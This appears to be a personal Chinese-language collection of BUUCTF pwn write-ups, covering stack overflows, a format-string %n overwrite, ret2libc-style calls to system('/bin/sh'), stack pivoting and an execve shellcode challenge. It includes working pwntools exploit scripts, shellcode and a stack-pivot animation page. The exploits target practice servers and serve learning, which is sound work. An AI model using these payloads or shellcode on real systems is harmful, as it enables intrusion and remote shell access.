代码自己写才是对的.

pwn

1.warmup_csaw_2016

考点:栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int a1, char a2, char a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
_BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF

write(1, "-Warm Up-\n", 0xAu);
write(1, "WOW:", 4u);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9u);
write(1, ">", 1u);
return gets(v5);
}

gets函数就是栈溢出

观察一下这个函数就能直接看出来他的返回地址是这个flag

1
2
3
4
int sub_40060D()
{
return system("cat flag.txt");
}

2.ciscn_2019_n_1

考点:栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}

这里把v2的值写死了,所以需要覆盖掉原值,替换成11.28125即可

这里的栈溢出和以前略微有点不一样(30-4),因为v2和v1有一部分叠在一起了

这个时候v2换成0x41348000即可

1
2
3
4
5
6
7
8
9
10
from pwn import *
p=remote("node5.buuoj.cn",29039)

elf = ELF(r"E:\CTF\pwn学习\BUUCTF\ciscn_2019_n_1\ciscn_2019_n_1")

offset=0x30-0x4
payload = b'a'*offset+p64(0x41348000)

p.sendline(payload)
p.interactive()

3.pwn1_sctf_2016

考点:栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int vuln()
{
const char *src; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
int v3; // [esp+3Ch] [ebp-1Ch] BYREF
int v4; // [esp+40h] [ebp-18h] BYREF
_DWORD v5[2]; // [esp+47h] [ebp-11h] BYREF
int v6; // [esp+4Fh] [ebp-9h] BYREF

printf("Tell me something about yourself: ");
fgets(s, 32, _TMC_END__); //栈溢出1
std::string::operator=(&input, s);
std::allocator<char>::allocator(v5);
std::string::string(&v4, "you", v5);
std::allocator<char>::allocator(&v6);
std::string::string((char *)v5 + 1, "I", &v6);
replace((std::string *)&v3); //栈溢出2
std::string::operator=(&input, &v3, (char *)v5 + 1, &v4);
std::string::~string(&v3);
std::string::~string((char *)v5 + 1);
std::allocator<char>::~allocator(&v6);
std::string::~string(&v4);
std::allocator<char>::~allocator(v5);
src = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, src);
return printf("So, %s\n", s);
}

分析了一下,会有you和i的互换,所以这里可以试一下是谁换谁(如果看不懂代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Last login: Thu Dec  4 21:48:50 2025 from 192.168.100.1
a1gorithms@A1gorithm:~$ nc node5.buuoj.cn 27308
you
Tell me something about yourself: So, you

you you you
^C
a1gorithms@A1gorithm:~$ nc node5.buuoj.cn 27308
you you you
Tell me something about yourself: So, you you you

^C

a1gorithms@A1gorithm:~$ nc node5.buuoj.cn 27308
IIIII
Tell me something about yourself: So, youyouyouyouyo

程序会把I换成you,所以我们利用I(1字节)变成you(3字节)来造成s[]的溢出

1
2
3
4
5
6
7
8
9
from pwn import *
p=remote("node5.buuoj.cn",27308)

elf = ELF(r"E:\CTF\pwn学习\BUUCTF\pwn1_sctf_2016\pwn")
get_flag_addr = elf.symbols['get_flag']
payload = b'I'*(0x14) + b'a'*4 + p32(get_flag_addr)

p.sendline(payload)
p.interactive()

0x14的原因0x14=0x3C/3

注意不能直接I发0x14+4,之后用其他代替.

4.jarvisoj_level0

考点:栈溢出

1
2
3
4
5
6
ssize_t vulnerable_function()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200u);
}

很ez的栈溢出

1
2
3
4
5
6
7
8
9
from pwn import *
p=remote("node5.buuoj.cn",27296)

elf = ELF(r"E:\CTF\pwn学习\BUUCTF\jarvisoj_level0\pwn")
callsystem_addr =elf.symbols['callsystem']
offset = 0x80+8
payload = b'a'*offset + p64(callsystem_addr)
p.sendline(payload)
p.interactive()

5.[第五空间2019 决赛]PWN5

考点: format string 格式化字符串

我原本想用gdb调试看能不能做出格式化字符串的偏移位置,可是gdb死活打不上main的断点我没招..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
fd = open("/dev/urandom", 0);
read(fd, &buf_, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == buf_ )
{
puts("ok!!");
system("/bin/sh");
}
...

这个时候直接运行程序看泄露的偏移量

1
2
your name:aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Hello,aaaa.0xffd60138.0x63.(nil).0xea875ba0.0x3.0xea8367b0.0x1.(nil).0x1.0x61616161.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70

Q1:明明%p是答应指针的地址,为什么会打印出aaaa的ASCII码值?

printf(buf); 这一次调用中,某一个变参槽位上,正好读到了缓冲区里前 4 个字节 **"aaaa"**,被当作指针打印出来了 ;相当于在当前这个程序、当前编译方式下,printf 取“第 10 个参数”时,其实是在栈上读到了 buf 里的前 4 个字节。

以下是gpt写的payload,真心觉得写得好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(os='linux', arch='i386', log_level='debug')

# 本地调试时用 process('./pwn')
# io = process('./pwn')
io = remote('node5.buuoj.cn', 26084)

# 全局变量 buf_ 的地址(题目给出 .bss: 0804C044)
buf_addr = 0x0804C044

# payload 说明:
# 1. 前 4 字节是 buf_ 的地址,会成为第 10 个参数(之前调试看到第 10 个是 0x61616161)
# 2. "%10$n" 把当前 printf 已输出的字符数写入第 10 个参数指向的地址(buf_)
# 在这个 printf 调用中,%10$n 前只打印了 4 个字节(这 4 个地址字节),所以写入的值是 4
payload = p32(buf_addr) + b'%10$n'

# 交互:先输 name(利用格式化字符串改 buf_)
io.recvuntil(b'your name:')
io.sendline(payload)

# 这时 buf_ == 4,接下来输入密码 "4"
io.recvuntil(b'your passwd:')
io.sendline(b'4')

# 拿 shell
io.interactive()

Q2:%n到底是什么作用?

%n不打印任何东西,而是把当前已经输出的字符个数,写到一个 int * 指针指向的内存里;10$就是第10个参数。当我们把第10个参数的值写成buf_addr%10$n也就把第10个参数的值当做指针,并写入当前printf 已输出字符数(这里的buffer地址是4字节的,所以%n写入的值为4,也就是buf_被赋值为4)。

另外一个payload,来自https://www.bilibili.com/video/BV1as4y1E7mr?vd_source=7564738e9554c00c8cc808fd3016b121&spm_id_from=333.788.videopod.episodes&p=7

这个的逻辑是把“第 12 个参数”当成指针取出来,这个值布置成 0x0804C044; 然后把“当前已经输出的字符数 3”写到 *(int *)0x0804C044,也就是 buf_

后面的逻辑两个payload都很好理解,输入填入个数即可。

6.jarvisoj_level2

BUUCTF-jarvisoj_level2详解_buuctf level2-CSDN博客

考点分析部分均来自于以上博客.

考点:ret2libc

需要构造“fake_ret地址”的原因:

我们使用的是“覆盖返回地址”达到函数调用的效果而非call指令,因此不会自动完成“push 返回地址”的操作

所以我们需要手动模拟这一过程

返回地址虽然是我们构造的,但是也需要尽量使用有效的地址信息比如返回到main函数或者直接返回到exit()函数然后优雅地退出

构造的payload应该是这样的结构与顺序:

1
[padding栈溢出直到返回地址] + [system函数地址] + [fake_ret地址] + ["/bin/sh"字符串地址]

回到题目中

能在字符串列表中找/bin/sh

.data:0804A024 2F 62 69 6E 2F 73 68 00 hint db '/bin/sh',0

所以的话应该是利用栈溢出。

按照上面的payload的格式写出payload(返回地址写两个函数都行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(os='linux',arch='i386',log_level='debug')
p=remote('node5.buuoj.cn',28901)
elf=ELF(r"E:\CTF\pwn学习\BUUCTF\jarvisoj_level2\pwn")

offset=0x88+4
system_addr=elf.symbols['system']
# main_addr=elf.symbols['main']
vulnerable_function_addr=elf.symbols['vulnerable_function']

# print(hex(main_addr))
print(hex(vulnerable_function_addr))
print(hex(system_addr))
bin_sh_addr=0x804A024
#payload=b'M'*offset+p32(system_addr)+p32(main_addr)+p32(bin_sh_addr)
#main_addr换成main函数的结束地址也行
payload=b'M'*offset+p32(system_addr)+p32(vulnerable_function_addr)+p32(bin_sh_addr)

p.sendline(payload)
p.interactive()

undo7.[Black Watch 入群题]PWN1

reference:栈迁移学习-CSDN博客

pwn技术分享-栈迁移1-bilibili

可视化栈迁移动画
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>函数栈帧与栈迁移 (Stack Pivoting) 动画演示</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
@import url('https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;500&display=swap');

body { font-family: 'Segoe UI', sans-serif; background-color: #f8fafc; }
.code-font { font-family: 'Fira Code', monospace; }

.stack-cell {
transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
height: 48px;
border: 2px solid #e2e8f0;
display: flex;
align-items: center;
justify-content: center;
position: relative;
background: white;
}

.stack-cell.active { background-color: #fef9c3; border-color: #eab308; }
.stack-cell.modified { background-color: #fee2e2; border-color: #ef4444; } /* 模拟篡改 */
.stack-cell.target { background-color: #dcfce7; border-color: #22c55e; } /* 迁移目标 */

.pointer {
position: absolute;
right: -100px;
padding: 2px 8px;
border-radius: 4px;
font-size: 0.7rem;
font-weight: bold;
transition: all 0.5s cubic-bezier(0.34, 1.56, 0.64, 1);
white-space: nowrap;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
.pointer-esp { background: #ef4444; color: white; z-index: 30; }
.pointer-ebp { background: #3b82f6; color: white; z-index: 20; }

.code-line {
padding: 4px 12px;
border-left: 4px solid transparent;
transition: all 0.2s;
cursor: default;
}
.code-line.active {
background-color: #1e293b;
color: #fbbf24;
border-left-color: #fbbf24;
}
.gadget-line { color: #f87171; font-weight: bold; } /* 攻击指令高亮 */

@keyframes pulse-red {
0%, 100% { transform: scale(1); }
50% { transform: scale(1.05); border-color: #ef4444; }
}
.pivoting-alert { animation: pulse-red 1s infinite; }
&lt;/style&gt;

</head>
<body class="p-4 bg-slate-100">
<div class="max-w-7xl mx-auto space-y-4">
<!– Header –>
<div class="bg-slate-900 text-white p-6 rounded-xl shadow-lg">
<div class="flex justify-between items-center">
<div>
<h1 class="text-2xl font-bold italic tracking-tight">Stack Frame & Pivoting Visualizer</h1>
<p class="text-slate-400 text-sm">深度解析:保护现场、恢复现场及利用 leave 指令触发栈迁移</p>
</div>
<div class="flex gap-2">
<button id="mode-normal" class="px-4 py-2 rounded bg-blue-600 hover:bg-blue-500 text-sm font-bold transition">正常函数调用</button>
<button id="mode-pivoting" class="px-4 py-2 rounded bg-red-600 hover:bg-red-500 text-sm font-bold transition">栈迁移攻击演示</button>
</div>
</div>
</div>

    &lt;div class=&quot;grid grid-cols-12 gap-4&quot;&gt;
        &lt;!-- Registers &amp; Controls --&gt;
        &lt;div class=&quot;col-span-3 space-y-4&quot;&gt;
            &lt;div class=&quot;bg-white p-4 rounded-xl shadow-sm border border-slate-200&quot;&gt;
                &lt;h3 class=&quot;text-xs font-bold text-slate-400 uppercase mb-3&quot;&gt;寄存器状态&lt;/h3&gt;
                &lt;div class=&quot;space-y-2 code-font&quot;&gt;
                    &lt;div class=&quot;flex justify-between p-2 bg-slate-50 rounded&quot;&gt;
                        &lt;span class=&quot;text-red-500 font-bold&quot;&gt;ESP&lt;/span&gt;
                        &lt;span id=&quot;reg-esp&quot;&gt;0x100&lt;/span&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;flex justify-between p-2 bg-slate-50 rounded&quot;&gt;
                        &lt;span class=&quot;text-blue-500 font-bold&quot;&gt;EBP&lt;/span&gt;
                        &lt;span id=&quot;reg-ebp&quot;&gt;0x100&lt;/span&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;flex justify-between p-2 bg-slate-50 rounded&quot;&gt;
                        &lt;span class=&quot;text-green-600 font-bold&quot;&gt;EIP&lt;/span&gt;
                        &lt;span id=&quot;reg-eip&quot;&gt;0x401000&lt;/span&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;

            &lt;div class=&quot;bg-white p-4 rounded-xl shadow-sm border border-slate-200&quot;&gt;
                &lt;h3 class=&quot;text-xs font-bold text-slate-400 uppercase mb-3&quot;&gt;控制面板&lt;/h3&gt;
                &lt;button id=&quot;step-btn&quot; class=&quot;w-full bg-slate-800 text-white py-3 rounded-lg font-bold hover:bg-slate-700 transition mb-2&quot;&gt;执行下一步指令&lt;/button&gt;
                &lt;button id=&quot;reset-btn&quot; class=&quot;w-full bg-slate-100 text-slate-600 py-2 rounded-lg text-sm hover:bg-slate-200 transition&quot;&gt;重置&lt;/button&gt;
            &lt;/div&gt;
        &lt;/div&gt;

        &lt;!-- Assembly Code --&gt;
        &lt;div class=&quot;col-span-4 bg-slate-900 rounded-xl shadow-inner overflow-hidden flex flex-col&quot;&gt;
            &lt;div class=&quot;p-3 bg-slate-800 text-slate-400 text-[10px] font-bold uppercase tracking-widest border-b border-slate-700&quot;&gt;反汇编指令流&lt;/div&gt;
            &lt;div id=&quot;code-list&quot; class=&quot;flex-1 overflow-y-auto p-2 code-font text-xs text-slate-300&quot;&gt;
                &lt;!-- Lines injected here --&gt;
            &lt;/div&gt;
        &lt;/div&gt;

        &lt;!-- Stack --&gt;
        &lt;div class=&quot;col-span-5 bg-white rounded-xl shadow-sm border border-slate-200 p-6 flex flex-col items-center&quot;&gt;
            &lt;div class=&quot;flex justify-between w-full mb-4 px-10&quot;&gt;
                &lt;span class=&quot;text-[10px] text-slate-400 font-bold&quot;&gt;低地址 (0x00)&lt;/span&gt;
                &lt;h3 class=&quot;text-sm font-bold text-slate-600&quot;&gt;栈空间内存布局&lt;/h3&gt;
                &lt;span class=&quot;text-[10px] text-slate-400 font-bold&quot;&gt;高地址 (0xFF)&lt;/span&gt;
            &lt;/div&gt;
            
            &lt;div class=&quot;relative w-full max-w-[240px]&quot;&gt;
                &lt;div id=&quot;stack-view&quot; class=&quot;flex flex-col-reverse w-full border-x-2 border-b-2 border-slate-300&quot;&gt;
                    &lt;!-- Stack cells here --&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;!-- Explanation Footer --&gt;
    &lt;div id=&quot;info-box&quot; class=&quot;bg-blue-50 border-l-4 border-blue-500 p-5 rounded-r-xl shadow-sm&quot;&gt;
        &lt;h4 id=&quot;info-title&quot; class=&quot;font-bold text-blue-800 mb-1&quot;&gt;系统就绪&lt;/h4&gt;
        &lt;p id=&quot;info-text&quot; class=&quot;text-blue-700 text-sm italic&quot;&gt;选择上方模式开始演示函数调用流程或栈迁移原理。&lt;/p&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;script&gt;
    // Constants &amp; State
    const INITIAL_ESP = 0xC0;
    const STACK_SIZE = 14;
    let currentStep = -1;
    let mode = 'normal'; // 'normal' or 'pivoting'
    let esp = INITIAL_ESP;
    let ebp = INITIAL_ESP;
    let eip = 0x401000;
    let stackMap = {}; // addr -&gt; { val, label, type }

    const normalFlow = [
        { op: 'PUSH 0x5', addr: 0x401000, desc: '【参数入栈】准备函数调用环境。', action: 'push', val: '0x5', label: 'arg 1' },
        { op: 'CALL foo', addr: 0x401005, desc: '【保护现场 1】CALL 指令自动将返回地址(下一条指令地址 0x40100A)压入栈中。', action: 'call', val: '0x40100A', label: 'Ret Addr' },
        { op: 'PUSH EBP', addr: 0x402000, desc: '【保护现场 2】保存调用者的栈基址 (Old EBP)。', action: 'push', val: '0xC0', label: 'Old EBP' },
        { op: 'MOV EBP, ESP', addr: 0x402001, desc: '【保护现场 3】建立新栈帧:EBP 指向当前栈顶。', action: 'mov_ebp' },
        { op: 'SUB ESP, 8', addr: 0x402003, desc: '分配局部变量空间。', action: 'sub_esp', val: 8 },
        { op: 'MOV [EBP-4], 1', addr: 0x402006, desc: '向局部变量写入数据。', action: 'write', offset: -4, val: '0x1', label: 'local 1' },
        { op: 'LEAVE', addr: 0x402009, desc: '【恢复现场 1-2】LEAVE 等效于 MOV ESP, EBP; POP EBP;。撤销局部变量空间并还原 Old EBP。', action: 'leave' },
        { op: 'RET', addr: 0x40200A, desc: '【恢复现场 3】从栈顶弹出返回地址给 EIP,回到调用处。', action: 'ret' }
    ];

    const pivotingFlow = [
        { op: 'PUSH 0x405000', addr: 0x401000, desc: '【伪造栈帧】攻击者在内存 0x405000 处构造了 ROP 链。', action: 'push', val: '0x405000', label: 'Fake EBP' },
        { op: 'CALL vuln', addr: 0x401005, desc: '调用漏洞函数。', action: 'call', val: '0x40100A', label: 'Ret Addr' },
        { op: 'PUSH EBP', addr: 0x402000, desc: '进入函数,正常保存 Old EBP。', action: 'push', val: '0xC0', label: 'Old EBP' },
        { op: 'MOV EBP, ESP', addr: 0x402001, desc: '建立栈帧。', action: 'mov_ebp' },
        { op: 'SUB ESP, 4', addr: 0x402003, desc: '分配变量空间。', action: 'sub_esp', val: 4 },
        { op: 'OVERFLOW [EBP]', addr: 0x402005, desc: '【溢出攻击】篡改栈上的 Old EBP 为伪造地址 0x88,并覆盖返回地址为 leave; ret 指令地址。', action: 'overflow', targetEbp: 0x88, targetRet: '0x40200A' },
        { op: 'LEAVE', addr: 0x402009, desc: '【第一次 LEAVE】MOV ESP, EBP 让 ESP 指向被篡改的 EBP,POP EBP 让 EBP 变为伪造地址 0x88。', action: 'leave' },
        { op: 'RET (to leave;ret)', addr: 0x40200A, desc: '【核心步】RET 返回到了另一个 leave 指令处。', action: 'ret_to_gadget' },
        { op: 'LEAVE (Gadget)', addr: 0x40200B, desc: '【第二次 LEAVE】再次执行 MOV ESP, EBP,此时 EBP 是 0x88,ESP 瞬间被“迁移”到了远处的伪造栈区。', action: 'leave' },
        { op: 'RET (to SYSTEM)', addr: 0x40200C, desc: '【迁移完成】ESP 现在正指向伪造栈上的恶意地址,RET 将直接执行攻击者的代码!', action: 'ret' }
    ];

    let instructions = normalFlow;

    function initUI() {
        // Stack cells
        const view = document.getElementById('stack-view');
        view.innerHTML = '';
        for (let i = 0; i &lt; STACK_SIZE; i++) {
            const addr = INITIAL_ESP - (i * 4);
            const div = document.createElement('div');
            div.className = 'stack-cell';
            div.id = `cell-${addr}`;
            div.innerHTML = 
                &lt;span class=&quot;absolute left-1 text-[8px] text-slate-300 font-mono&quot;&gt;0x${addr.toString(16).toUpperCase()}&lt;/span&gt;
                &lt;span class=&quot;cell-val code-font font-bold text-xs&quot;&gt;&lt;/span&gt;
                &lt;span class=&quot;cell-label absolute -left-16 text-[9px] text-slate-500 font-bold opacity-0 transition-opacity&quot;&gt;&lt;/span&gt;
                &lt;div id=&quot;esp-${addr}&quot; class=&quot;pointer pointer-esp hidden&quot;&gt;ESP&lt;/div&gt;
                &lt;div id=&quot;ebp-${addr}&quot; class=&quot;pointer pointer-ebp hidden&quot;&gt;EBP&lt;/div&gt;
            ;
            view.appendChild(div);
        }

        // Code list
        const list = document.getElementById('code-list');
        list.innerHTML = instructions.map((ins, i) =&gt; 
            &lt;div id=&quot;line-${i}&quot; class=&quot;code-line ${ins.addr === 0x40200B ? 'gadget-line' : ''}&quot;&gt;
                &lt;span class=&quot;opacity-30 mr-2&quot;&gt;0x${ins.addr.toString(16).toUpperCase()}&lt;/span&gt;
                &lt;span&gt;${ins.op}&lt;/span&gt;
            &lt;/div&gt;
        ).join('');

        updateRegisters();
    }

    function updateRegisters() {
        document.getElementById('reg-esp').textContent = `0x${esp.toString(16).toUpperCase()}`;
        document.getElementById('reg-ebp').textContent = `0x${ebp.toString(16).toUpperCase()}`;
        document.getElementById('reg-eip').textContent = `0x${eip.toString(16).toUpperCase()}`;

        document.querySelectorAll('.pointer').forEach(p =&gt; p.classList.add('hidden'));
        const espPtr = document.getElementById(`esp-${esp}`);
        const ebpPtr = document.getElementById(`ebp-${ebp}`);
        if (espPtr) espPtr.classList.remove('hidden');
        if (ebpPtr) {
            ebpPtr.classList.remove('hidden');
            ebpPtr.style.right = (esp === ebp) ? '-150px' : '-100px';
        }
    }

    function step() {
        if (currentStep &gt;= instructions.length - 1) return;
        currentStep++;

        const ins = instructions[currentStep];
        eip = ins.addr;
        
        // Highlight code
        document.querySelectorAll('.code-line').forEach(l =&gt; l.classList.remove('active'));
        document.getElementById(`line-${currentStep}`).classList.add('active');

        // Update info
        document.getElementById('info-title').textContent = ins.op;
        document.getElementById('info-text').textContent = ins.desc;
        
        // Logic
        switch(ins.action) {
            case 'push':
                esp -= 4;
                writeStack(esp, ins.val, ins.label);
                break;
            case 'call':
                esp -= 4;
                writeStack(esp, ins.val, ins.label);
                break;
            case 'mov_ebp':
                ebp = esp;
                break;
            case 'sub_esp':
                esp -= ins.val;
                break;
            case 'write':
                writeStack(ebp + ins.offset, ins.val, ins.label);
                break;
            case 'leave':
                // mov esp, ebp
                const oldEsp = esp;
                esp = ebp;
                updateRegisters();
                // pop ebp (after 400ms delay to show mov)
                setTimeout(() =&gt; {
                    const cell = document.getElementById(`cell-${esp}`);
                    const val = cell.querySelector('.cell-val').textContent;
                    ebp = parseInt(val, 16) || INITIAL_ESP;
                    clearStack(esp);
                    esp += 4;
                    updateRegisters();
                }, 400);
                break;
            case 'ret':
            case 'ret_to_gadget':
                clearStack(esp);
                esp += 4;
                break;
            case 'overflow':
                // 篡改栈上的内容
                writeStack(ebp, '0x' + ins.targetEbp.toString(16).toUpperCase(), 'FAKE EBP', true);
                writeStack(ebp + 4, ins.targetRet, 'LEAVE;RET', true);
                break;
        }

        updateRegisters();
    }

    function writeStack(addr, val, label, isAttack = false) {
        const cell = document.getElementById(`cell-${addr}`);
        if (!cell) return;
        cell.classList.add('active');
        if (isAttack) cell.classList.add('modified');
        
        const v = cell.querySelector('.cell-val');
        v.textContent = val;
        
        const l = cell.querySelector('.cell-label');
        l.textContent = label;
        l.classList.remove('opacity-0');

        setTimeout(() =&gt; cell.classList.remove('active'), 600);
    }

    function clearStack(addr) {
        const cell = document.getElementById(`cell-${addr}`);
        if (!cell) return;
        cell.querySelector('.cell-val').textContent = '';
        cell.querySelector('.cell-label').classList.add('opacity-0');
    }

    document.getElementById('step-btn').addEventListener('click', step);
    document.getElementById('reset-btn').addEventListener('click', () =&gt; {
        currentStep = -1;
        esp = INITIAL_ESP;
        ebp = INITIAL_ESP;
        eip = 0x401000;
        initUI();
    });

    document.getElementById('mode-normal').addEventListener('click', () =&gt; {
        mode = 'normal';
        instructions = normalFlow;
        document.getElementById('mode-normal').classList.add('bg-blue-600');
        document.getElementById('mode-pivoting').classList.remove('bg-red-600');
        document.getElementById('mode-pivoting').classList.add('bg-slate-600');
        document.getElementById('reset-btn').click();
    });

    document.getElementById('mode-pivoting').addEventListener('click', () =&gt; {
        mode = 'pivoting';
        instructions = pivotingFlow;
        document.getElementById('mode-pivoting').classList.add('bg-red-600');
        document.getElementById('mode-normal').classList.remove('bg-blue-600');
        document.getElementById('mode-normal').classList.add('bg-slate-600');
        document.getElementById('reset-btn').click();
    });

    window.onload = initUI;
&lt;/script&gt;

</body>
</html>

1
2
$ ldd ./pwn | grep  libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf0a2b000)
1
2
3
4
5
6
7
8
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/BUUCTF/[Black Watch 入群题]PWN1/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

只开启了nx,栈不可执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ssize_t vul_function()
{
size_t n; // eax
size_t n_1; // eax
_BYTE buf[24]; // [esp+0h] [ebp-18h] BYREF

n = strlen(m1); // "Hello good Ctfer!\nWhat is your name?"
write(
1,
m1, // "Hello good Ctfer!\nWhat is your name?"
n);
read(0, &s, 0x200u);
n_1 = strlen(m2); // "What do you want to say?"
write(
1,
m2, // "What do you want to say?"
n_1);
return read(0, buf, 0x20u);
}

8.ciscn_2019_es_2

reference:栈迁移学习-CSDN博客

考点:栈溢出-栈迁移

1
2
3
4
5
6
7
8
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/BUUCTF/ciscn_2019_es_2/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
1
2
$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=88938f6e63cc4e27018f9032c4934e0a377712d1, not stripped
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char argv, const char envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}

int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

这里能发现存在栈溢出缓冲区是0x28字节,实际read函数能读0x30字节,相差8字节,只够覆盖返回函数,溢出空间不足,不能够shellcode,所以需要栈迁移;

同时能发现后门函数:

undo8.ciscn_2019_n_8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl main(int argc, const char argv, const char envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]

n17 = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( n17 )
{
if ( n17 == 17 )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
n17);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}

两个数组叠在一起了

10.mrctf2020_shellcode

1
2
3
4
5
6
7
8
9
10
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/BUUCTF/mrctf2020_shellcode/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No

没有办法反编译,ai了一下:

1
2
3
4
5
6
lea     rax, [rbp+buf]
mov edx, 400h ; nbytes = 1024 字节
mov rsi, rax ; buf
mov edi, 0 ; fd = 0 (标准输入)
...
call _read

这里调用了 read(0, buf, 0x400)。 程序从标准输入读取最多 0x400(1024)个字节到栈上的 buf 中。

1
2
3
loc_11D6:
lea rax, [rbp+buf] ; 将 buf 的地址存入 rax
call rax ; 【致命漏洞】直接将控制流转移到你的输入!

发一个shellcode即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
# elf = ELF(r"E:\CTF\pwn学习\BUUCTF\mrctf2020_shellcode\pwn")
p = remote("node5.buuoj.cn",29438)
context(arch='amd64',os='linux',log_level='debug')

shellcode = asm("""
push 0x3b
pop rax
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
syscall
""")

p.sendline(shellcode)
p.interactive()